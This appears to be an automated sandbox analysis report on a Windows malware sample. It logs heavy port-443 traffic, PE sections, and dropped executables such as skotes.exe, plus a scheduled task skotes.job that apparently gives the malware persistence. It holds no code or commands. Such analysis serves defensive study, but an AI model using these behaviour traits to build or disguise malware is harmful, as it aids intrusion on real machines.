Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50064 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name:
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: f0388bf2aa.exe.23.dr	Static PE information: section name:
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: .rsrc
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: .idata
Source: f0388bf2aa.exe.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name:
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsKKFHJJDHJE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AC60	0_2_6C70AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DAC30	0_2_6C7DAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C6C00	0_2_6C7C6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ECD0	0_2_6C75ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FECC0	0_2_6C6FECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CED70	0_2_6C7CED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C88CDC0	0_2_6C88CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C888D20	0_2_6C888D20
